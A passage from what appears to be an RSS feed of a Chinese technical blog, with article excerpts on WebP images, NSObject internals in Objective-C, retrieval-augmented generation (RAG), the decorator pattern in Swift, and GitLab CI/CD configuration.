&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;img src&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;banner.jpg&amp;#34;&lt;/span&gt; alt&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/picture&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;webp在保持同等清晰度的情况下，体积可以减少一半，但是目前只有Chrome支持，Safari和firefox一直处于实验阶段，所以其它的浏览器如firefox将会加载jpg格式的照片：&lt;/p&gt;</description></item><item><title>Objective-C底层原理 - NSObject</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/objective-c%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86-nsobject/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/objective-c%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86-nsobject/</guid><description>&lt;p&gt;本文将深入探讨&lt;code&gt;Objective-C&lt;/code&gt;中所有对象的基类&lt;code&gt;NSObject&lt;/code&gt;的底层实现原理，涵盖对象本质、isa指针机制、Tagged Pointer、引用计数、内存布局等核心概念。&lt;/p&gt;
&lt;h2 id="nsobject-的本质c-结构体"&gt;NSObject 的本质：C 结构体&lt;/h2&gt;
&lt;p&gt;在&lt;code&gt;Objective-C&lt;/code&gt;的底层实现中，&lt;code&gt;NSObject&lt;/code&gt;的本质是一个&lt;code&gt;C&lt;/code&gt;结构体。在苹果运行时源码中可以看到：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 底层运行时定义
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;struct&lt;/span&gt; objc_object {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Class isa; &lt;span style="color:#75715e"&gt;// 指向对象所属类的指针
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 类型别名定义
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;typedef&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;struct&lt;/span&gt; objc_object NSObject;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这意味着，当我们通过&lt;code&gt;NSObject *obj = [[NSObject alloc] init];&lt;/code&gt;创建一个 NSObject 实例时，实际上在堆上分配了一个&lt;code&gt;struct objc_object&lt;/code&gt;结构体，而变量&lt;code&gt;obj&lt;/code&gt;只是一个指向该结构体的指针。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objc" data-lang="objc"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 这行代码在底层实际上做了类似下面的事情：
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NSObject &lt;span style="color:#f92672"&gt;*&lt;/span&gt;obj &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [[NSObject alloc] init];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 等效的伪C代码:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 1. 调用 alloc 类方法，其核心是调用 malloc 在堆上分配一块足够大的内存
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 大小至少是 sizeof(struct objc_object)，即一个isa指针的大小
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NSObject &lt;span style="color:#f92672"&gt;*&lt;/span&gt;obj &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (NSObject &lt;span style="color:#f92672"&gt;*&lt;/span&gt;)malloc(&lt;span style="color:#66d9ef"&gt;sizeof&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;struct&lt;/span&gt; objc_object));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 2. 初始化这块内存，最重要的是设置 isa 指针，让它指向 NSObject 这个类
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;obj&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;isa &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [NSObject &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt;]; &lt;span style="color:#75715e"&gt;// 实际过程更复杂，但本质如此
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 3. 其他初始化工作 (init)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;那么这里提到的&lt;code&gt;isa&lt;/code&gt;指针是什么呢？&lt;/p&gt;</description></item><item><title>RAG（检索增强生成）</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ai/rag/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ai/rag/</guid><description>&lt;p&gt;大语言模型（LLM）能流畅地写文章、回答问题、编写代码，但它有一个根本性的局限：&lt;strong&gt;它的知识被冻结在训练数据截止的那一刻&lt;/strong&gt;。问它昨天发生了什么新闻？不知道。问它你公司内部的技术文档？更不知道。&lt;/p&gt;
&lt;p&gt;更棘手的是，LLM有时候会&amp;quot;一本正经地胡说八道&amp;quot;——这就是所谓的**幻觉（Hallucination）**问题。模型会自信满满地编造一个不存在的论文引用、一个错误的API参数、甚至一个虚构的历史事件。&lt;/p&gt;
&lt;p&gt;**RAG（Retrieval-Augmented Generation，检索增强生成）**正是为解决这些问题而生。它的核心思想简单而有效：&lt;strong&gt;在让LLM回答之前，先从外部知识库中检索相关信息，把这些信息塞到提示词（Prompt）里，让LLM基于真实资料来回答。&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="一rag的核心思想"&gt;一、RAG的核心思想&lt;/h2&gt;
&lt;h3 id="11-一个直觉的类比"&gt;1.1 一个直觉的类比&lt;/h3&gt;
&lt;p&gt;想象你是一个闭卷考试的学生（这就是纯LLM）——只能靠记忆作答，记不清的地方就只能猜。&lt;/p&gt;
&lt;p&gt;现在允许你带一本参考书（这就是RAG）——遇到不确定的问题，先翻书找到相关段落，然后基于书中的内容来组织答案。&lt;/p&gt;
&lt;p&gt;显然，开卷考试的准确率会高得多。&lt;/p&gt;
&lt;h3 id="12-rag的核心价值"&gt;1.2 RAG的核心价值&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;LLM的局限&lt;/th&gt;
&lt;th&gt;RAG的解决方案&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;知识过期，无法获取训练截止后的信息&lt;/td&gt;
&lt;td&gt;随时更新知识库，实时生效&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;幻觉问题，生成不存在的信息&lt;/td&gt;
&lt;td&gt;基于真实文档生成，可追溯来源&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;垂直领域知识不足&lt;/td&gt;
&lt;td&gt;接入专业知识库，提供领域专业回答&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;更新成本高，Fine-tuning代价大&lt;/td&gt;
&lt;td&gt;只需更新知识库，成本低且灵活&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="13-rag的基本流程"&gt;1.3 RAG的基本流程&lt;/h3&gt;
&lt;pre class="mermaid"&gt;graph LR
Q["用户提问"] --&gt; R["检索器&lt;br/&gt;Retriever"]
KB["知识库"] --&gt; R
R --&gt; C["相关文档片段"]
C --&gt; P["构造Prompt&lt;br/&gt;问题 + 相关文档"]
P --&gt; LLM["大语言模型"]
LLM --&gt; A["生成回答"]
&lt;/pre&gt;
&lt;p&gt;三个核心步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;检索（Retrieve）&lt;/strong&gt;：根据用户的问题，从知识库中找到最相关的文档片段&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;增强（Augment）&lt;/strong&gt;：将检索到的信息与原始问题一起构造成Prompt&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生成（Generate）&lt;/strong&gt;：LLM基于增强后的Prompt生成回答&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="二从关键词到语义检索方式的演进"&gt;二、从关键词到语义：检索方式的演进&lt;/h2&gt;
&lt;h3 id="21-传统关键词搜索的局限"&gt;2.1 传统关键词搜索的局限&lt;/h3&gt;
&lt;p&gt;最简单的检索方式是关键词匹配。比如用户问&amp;quot;如何购买商品？&amp;quot;，搜索引擎会提取关键词&amp;quot;购买&amp;quot;、&amp;ldquo;商品&amp;rdquo;，然后去匹配包含这些词的文档。&lt;/p&gt;
&lt;p&gt;问题很明显：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;文档中写的是&amp;quot;下单流程说明&amp;quot;——语义完全一致，但&lt;strong&gt;没有任何关键词重合&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;无法理解同义词：&amp;ldquo;购买&amp;quot;vs&amp;quot;下单&amp;quot;vs&amp;quot;采购&amp;quot;vs&amp;quot;买&amp;rdquo;&lt;/li&gt;
&lt;li&gt;必须精确匹配关键词，用词不同就检索不到&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们需要一种理解语义的检索方式。&lt;/p&gt;
&lt;h3 id="22-文本嵌入text-embedding"&gt;2.2 文本嵌入（Text Embedding）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;文本嵌入模型&lt;/strong&gt;（如OpenAI的text-embedding-3-small、BGE等）将文本转换为高维向量（通常512/768/1024/1536维），使得语义相近的文本在向量空间中距离相近：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;如何购买商品？&amp;#34; → [0.23, -0.15, 0.82, ...] (768维向量)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;下单流程说明&amp;#34; → [0.21, -0.12, 0.79, ...] ← 向量很近，语义匹配!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;今天天气真好&amp;#34; → [-0.65, 0.43, -0.21, ...] ← 向量很远
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在高维向量空间中，每个维度代表不同的语义特征（如情感倾向、主题领域、动作类型等）。语义相似的文本会在空间中聚集在一起——&amp;ldquo;购买&amp;rdquo;、&amp;ldquo;下单&amp;rdquo;、&amp;ldquo;采购&amp;quot;形成一个语义簇，而&amp;quot;天气预报&amp;quot;则远离这个簇。&lt;/p&gt;</description></item><item><title>装饰器模式</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E8%A3%85%E9%A5%B0%E5%99%A8%E6%A8%A1%E5%BC%8F/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E8%A3%85%E9%A5%B0%E5%99%A8%E6%A8%A1%E5%BC%8F/</guid><description>&lt;h2 id="定义"&gt;定义&lt;/h2&gt;
&lt;p&gt;装饰器模式（Decorator Pattern）是一种结构型设计模式，它允许向现有对象动态添加新功能，同时又不改变其结构。装饰器通过创建一个包装对象来包裹真实对象，实现在不修改原有对象的基础上扩展功能。&lt;/p&gt;
&lt;p&gt;装饰器模式的核心思想是：使用组合而非继承来扩展对象的功能，遵循&amp;quot;对扩展开放，对修改关闭&amp;quot;的原则。&lt;/p&gt;
&lt;h2 id="为什么需要装饰器模式"&gt;为什么需要装饰器模式&lt;/h2&gt;
&lt;p&gt;装饰器模式要解决的核心问题是：&lt;strong&gt;在不修改原有对象的情况下，动态地给对象添加新功能&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="问题场景"&gt;问题场景&lt;/h3&gt;
&lt;p&gt;假设我们正在开发一个UI组件库，需要为&lt;code&gt;UILabel&lt;/code&gt;添加各种视觉效果：圆角、阴影、边框、渐变背景等。而且这些效果需要能够&lt;strong&gt;自由组合&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="方案一使用继承不推荐"&gt;方案一：使用继承（不推荐）&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 基础标签&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;BasicLabel&lt;/span&gt;: UILabel {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;init&lt;/span&gt;(text: String) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;super&lt;/span&gt;.&lt;span style="color:#66d9ef"&gt;init&lt;/span&gt;(frame: .zero)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;self&lt;/span&gt;.text = text
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 圆角标签&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;RoundedLabel&lt;/span&gt;: BasicLabel {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;override&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;init&lt;/span&gt;(text: String) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;super&lt;/span&gt;.&lt;span style="color:#66d9ef"&gt;init&lt;/span&gt;(text: text)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; layer.cornerRadius = &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; clipsToBounds = &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 阴影标签&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ShadowLabel&lt;/span&gt;: BasicLabel {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;override&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;init&lt;/span&gt;(text: String) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;super&lt;/span&gt;.&lt;span style="color:#66d9ef"&gt;init&lt;/span&gt;(text: text)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; layer.shadowColor = UIColor.black.cgColor
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; layer.shadowOffset = CGSize(width: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, height: &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; layer.shadowOpacity = &lt;span style="color:#ae81ff"&gt;0.3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 边框标签&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;BorderLabel&lt;/span&gt;: BasicLabel {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;override&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;init&lt;/span&gt;(text: String) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;super&lt;/span&gt;.&lt;span style="color:#66d9ef"&gt;init&lt;/span&gt;(text: text)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; layer.borderWidth = &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; layer.borderColor = UIColor.gray.cgColor
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 如果需要圆角+阴影呢？&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;RoundedShadowLabel&lt;/span&gt;: BasicLabel {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;override&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;init&lt;/span&gt;(text: String) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;super&lt;/span&gt;.&lt;span style="color:#66d9ef"&gt;init&lt;/span&gt;(text: text)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 重复圆角代码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; layer.cornerRadius = &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; clipsToBounds = &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 重复阴影代码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; layer.shadowColor = UIColor.black.cgColor
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; layer.shadowOffset = CGSize(width: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, height: &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; layer.shadowOpacity = &lt;span style="color:#ae81ff"&gt;0.3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 如果需要圆角+边框呢？&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;RoundedBorderLabel&lt;/span&gt;: BasicLabel { &lt;span style="color:#75715e"&gt;/* 又要重复代码 */&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 如果需要阴影+边框呢？&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ShadowBorderLabel&lt;/span&gt;: BasicLabel { &lt;span style="color:#75715e"&gt;/* 继续重复代码 */&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 如果需要圆角+阴影+边框呢？&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;RoundedShadowBorderLabel&lt;/span&gt;: BasicLabel { &lt;span style="color:#75715e"&gt;/* 所有代码都重复一遍 */&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;这种方式的问题&lt;/strong&gt;：&lt;/p&gt;</description></item><item><title>持续集成/持续部署（CI/CD）</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-009/</link><pubDate>Thu, 07 Aug 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-009/</guid><description>&lt;h2 id="传统应用发布模式"&gt;传统应用发布模式&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;开发人员&lt;/strong&gt;：在开发环境完成代码编写，单元测试，测试通过后提交到代码仓库&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;运维人员&lt;/strong&gt;：把项目部署到测试环境，供QA团队测试，测试通过后，部署生成环境&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;测试人员&lt;/strong&gt;：进行测试，测试完成后通知运维部署生产环境&lt;/p&gt;
&lt;h3 id="缺点"&gt;缺点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;项目在早期就存在错误，但到最后集成的时候才发现&lt;/li&gt;
&lt;li&gt;需要手动操作，易错率高&lt;/li&gt;
&lt;li&gt;开发与运维需要及时沟通 有了以上缺点，那么就有了CI/CD&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="cicd"&gt;CI/CD&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;持续集成&lt;/em&gt;(CI):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;合并开发人员正在编写的所有代码&lt;/li&gt;
&lt;li&gt;一天内进行多次合并和提交代码&lt;/li&gt;
&lt;li&gt;从存储库或生产环境中进行构建和自动化测试，确保没有集成问题并及早发现任何问题&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;em&gt;持续交付&lt;/em&gt;(CD):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;可以通过将更改自动推送到发布系统来随时将软件发布到生产环境中&lt;/li&gt;
&lt;li&gt;持续部署，并自动将更改推送到生产中&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="gitlab内置cicd"&gt;GitLab内置CI/CD&lt;/h2&gt;
&lt;h3 id="运行流水线任务"&gt;运行流水线任务&lt;/h3&gt;
&lt;p&gt;Job&lt;/p&gt;
&lt;p&gt;在文件中可以定义一个或多个作业，每个作业具有唯一的名称，每个作业是独立执行的，&lt;em&gt;每个作业至少包含一个script&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;stages：&lt;/p&gt;
&lt;p&gt;用于定义作业可以使用的阶段，并且是全局定义，同一个阶段的作业并行运行，不同阶段按顺序运行&lt;/p&gt;
&lt;p&gt;only：&lt;/p&gt;
&lt;p&gt;用分支策略来限制jobs构建&lt;/p&gt;
&lt;p&gt;script:&lt;/p&gt;
&lt;p&gt;项目中package中的脚本&lt;/p&gt;
&lt;p&gt;environment：&lt;/p&gt;
&lt;p&gt;定义此作业完成部署的环境名称&lt;/p&gt;
&lt;p&gt;下面是每个jobs的详细变量名&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Keyword&lt;/th&gt;
&lt;th&gt;Required&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;script&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;Runner执行的命令或脚本&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;image&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;所使用的docker镜像，查阅&lt;a href="https://docs.gitlab.com/ce/ci/docker/using_docker_images.html#define-image-and-services-from-gitlab-ciyml"&gt;使用docker镜像&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;services&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;所使用的docker服务，查阅&lt;a href="https://docs.gitlab.com/ce/ci/docker/using_docker_images.html#define-image-and-services-from-gitlab-ciyml"&gt;使用docker镜像&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;stage&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;定义job stage（默认：&lt;code&gt;test&lt;/code&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;type&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;&lt;code&gt;stage&lt;/code&gt;的别名（已弃用）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;variables&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;定义job级别的变量&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;only&lt;/td&gt;
